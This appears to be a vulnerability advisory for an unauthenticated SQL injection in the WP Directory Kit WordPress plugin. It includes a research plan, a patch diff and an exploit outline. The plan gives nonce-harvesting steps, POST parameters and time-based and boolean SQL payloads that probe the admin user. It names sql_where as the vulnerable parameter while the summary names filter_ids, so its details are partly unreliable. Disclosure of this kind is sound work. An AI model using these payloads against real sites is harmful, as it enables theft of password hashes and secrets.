WP Directory Kit <= 1.5.0 - Unauthenticated SQL Injection
Description
The WP Directory Kit plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.5.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.5.0What Changed in the Fix
Changes introduced in v1.5.1
Source Code
WordPress.org SVN## Vulnerability Summary The **WP Directory Kit** plugin for WordPress is vulnerable to an **Unauthenticated SQL Injection** in versions up to and including 1.5.0. The vulnerability exists within the `treefieldid` method of the `Wdk_frontendajax` controller (found in `application/controllers/Wdk_fro…
Show full research plan
Vulnerability Summary
The WP Directory Kit plugin for WordPress is vulnerable to an Unauthenticated SQL Injection in versions up to and including 1.5.0. The vulnerability exists within the treefieldid method of the Wdk_frontendajax controller (found in application/controllers/Wdk_frontendajax.php).
The plugin fails to sufficiently escape or prepare SQL queries when processing the sql_where parameter (and potentially others) passed via AJAX. Although the input is passed through sanitize_text_field(), this function does not neutralize SQL injection characters. The unsanitized input is then appended directly to the WHERE clause of a database query. Because the action is registered for unauthenticated users (wp_ajax_nopriv_treefieldid), an attacker can extract sensitive information from the database, such as user hashes and secret keys.
Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
treefieldid(maps toWdk_frontendajax::treefieldid) - Vulnerable Parameter:
sql_where - Authentication: Unauthenticated (leveraging
wp_ajax_nopriv_treefieldid) - Required Nonce: The parameter
wdk_secureis checked usingcheck_ajax_referer('wdk_secure_treefieldid', 'wdk_secure'). This nonce is typically localized for unauthenticated users on pages containing a directory search form.
Code Flow
- Entry Point: An unauthenticated AJAX request is sent to
admin-ajax.phpwithaction=treefieldid. - Controller Routing: The request is routed to
Wdk_frontendajax::treefieldid. - Nonce Verification:
check_ajax_referer('wdk_secure_treefieldid', 'wdk_secure')validates the nonce. - Parameter Parsing: The method iterates through
$_POSTand stores values in the$parametersarray after applyingsanitize_text_field(). - Logic Path: The code checks if
$parameters['sql_where']is empty. If not, and it doesn't match the hardcoded string'only_nochilds', it enters a block (truncated in provided source) where the value is likely assigned to a$wherearray. - SQL Sink: The
$wherearray is used in a database query. In the Winter MVC framework (used by this plugin), passing an array key with aNULLvalue to thewhere()method appends the key as raw SQL (e.g.,$where[$sql_where] = NULL). - Execution: The injected SQL in
sql_whereis executed by$this->db->get().
Nonce Acquisition Strategy
The nonce wdk_secure_treefieldid is generated for the action string wdk_secure_treefieldid. It is localized in a JavaScript object named wdk_common.
- Shortcode Identification: The search form triggers the loading of necessary scripts and nonces. The shortcode is
[wdk_search_form]. - Page Creation: Create a public page containing this shortcode:
wp post create --post_type=page --post_status=publish --post_title="Search" --post_content='[wdk_search_form]' - Extraction:
- Use
browser_navigateto visit the newly created page. - Use
browser_evalto extract the nonce:window.wdk_common?.wdk_secure
- Use
Exploitation Strategy
The exploit uses a time-based blind SQL injection payload in the sql_where parameter.
HTTP Request (Time-Based Test)
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Parameters:
action:treefieldidwdk_secure:[EXTRACTED_NONCE]table:listing_mattribute_id:post_idattribute_value:post_titlesearch_term:asql_where:1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
Payload Breakdown
1=1: Ensures the preceding logic remains valid.AND (SELECT 1 FROM (SELECT(SLEEP(5)))a): Injects a subquery that causes the database to sleep for 5 seconds if the query executes.sanitize_text_field(): This payload contains no HTML tags and will pass through unchanged.
Test Data Setup
- Initialize Plugin: Ensure WP Directory Kit is active.
- Create Content: At least one listing is recommended to ensure the query returns results, although the injection into the
WHEREclause should work regardless.wp post create --post_type=wdk-listing --post_title="Exploit Test Listing" --post_status=publish - Generate Nonce Page:
wp post create --post_type=page --post_status=publish --post_title="Nonce Page" --post_content='[wdk_search_form]'
Expected Results
- Success: The HTTP request to
admin-ajax.phptakes approximately 5 seconds to respond. - Response Body: Should return a JSON object with
success: trueand a list of results (if no error occurred) or simply time out/delay.
Verification Steps
- Time Verification: Compare the response time of a valid request (e.g.,
SLEEP(0)) vs. the exploit request (SLEEP(5)). - Database Check: Confirm the database is responsive using
wp db query "SELECT 1". - Data Extraction (Advanced): To confirm data access, change the payload to boolean-based:
Check if the JSON response returns the listing results (True) or an empty list (False).1=1 AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin')
Alternative Approaches
If sql_where is not the correct sink, target other parameters in the same function:
tableparameter: Attempt to load different models.search_termparameter: The code builds$id_part = "$attr_id=$attr_search OR ". If$attr_idor$attr_search(when numeric) are handled improperly, injection may occur there.map_infowindowaction: This action inWdk_frontendajax.phplacks a nonce check and callslisting_m->get($listing_post_id). If the underlyingget()method is not usingprepare(), it provides a completely unauthenticated, nonceless injection path vialisting_post_id.
Summary
The WP Directory Kit plugin for WordPress is vulnerable to unauthenticated SQL injection via the treefieldid AJAX action. This vulnerability occurs because the plugin uses user-supplied parameters, specifically filter_ids, as raw SQL keys in a WHERE clause without proper sanitization or prepared statements.
Vulnerable Code
// application/controllers/Wdk_frontendajax.php around line 240 if(!empty($parameters['filter_ids'])){ $this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql($parameters['filter_ids']).')' => NULL)); }
Security Fix
@@ -240,7 +240,7 @@ } else { if(!empty($parameters['filter_ids'])){ - $this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql($parameters['filter_ids']).')' => NULL)); + $this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql(preg_replace('/[^0-9,]/', '', $parameters['filter_ids'])).')' => NULL)); } $tree_results = $this->$table->get_pagination(intval($parameters['limit']),intval($parameters['offset']), $where ); @@ -253,7 +253,7 @@ } if(!empty($parameters['filter_ids'])){ - $this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql($parameters['filter_ids']).')' => NULL)); + $this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql(preg_replace('/[^0-9,]/', '', $parameters['filter_ids'])).')' => NULL)); } if($table == 'user_m') { @@ -472,7 +472,7 @@ } if(!empty($parameters['filter_ids'])){ - $this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql($parameters['filter_ids']).')' => NULL)); + $this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql(preg_replace('/[^0-9,]/', '', $parameters['filter_ids'])).')' => NULL)); } if(!empty($parameters['hide_fields'])) { @@ -553,6 +553,9 @@ public function select_2_ajax($output="", $atts=array(), $instance=NULL) { + + check_ajax_referer('wdk_secure_ajax', 'wdk_secure'); + $this->load->load_helper('listing'); $this->load->model('listing_m'); $this->load->model('listingfield_m'); @@ -571,6 +574,12 @@ $model_name = $parameters['table']; + // allow only 'listing_m', 'category_m', or 'location_m' for security + $allowed_models = array('listing_m', 'category_m', 'location_m'); + if (!in_array($model_name, $allowed_models)) { + return false; + }
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker first obtains a valid AJAX nonce from a public-facing page that includes a directory search form (typically localized in the wdk_common JavaScript object). The attacker then sends a POST request to the /wp-admin/admin-ajax.php endpoint with the action parameter set to treefieldid and the extracted nonce in the wdk_secure parameter. By injecting a SQL payload into the filter_ids parameter (e.g., using a closing parenthesis and logical operator like 1) AND SLEEP(5)--), the attacker can execute arbitrary SQL commands because the plugin appends the value directly to a WHERE clause in the database query.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.